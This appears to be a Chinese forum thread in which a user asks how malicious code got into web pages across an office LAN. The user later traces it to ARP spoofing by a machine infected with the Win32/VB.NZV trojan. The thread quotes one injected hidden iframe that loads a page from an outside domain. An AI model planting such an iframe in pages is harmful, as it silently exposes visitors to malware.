恶意代码是怎么插入网页的？

Yei

前段时间公司有机器中毒了（windows xp），导致局域网内所有机器打开的网页前面都插入了类似下面的代码：
[HTML]<iframe src=http://xx2.mao9988.cn/index.htm width=100 height=0></iframe>[/HTML]
用Wireshark抓包没发现那台机器有通过arp欺骗将自己伪装成网关之类的行为，不知道它是通过什么方法插入的。

Yei

对不起大家，还我自己搞错了
今天又发现同样的情况，并且抓到了ARP欺骗包
奇怪的是在一台机器上能抓到这些包，另一台机器上抓不到，难道就因为它们在不同的交换机下？
用杀毒软件扫了一下，中的是Win32/VB.NZV特洛伊木马，在D盘根目录下有个gdiplus.exe文件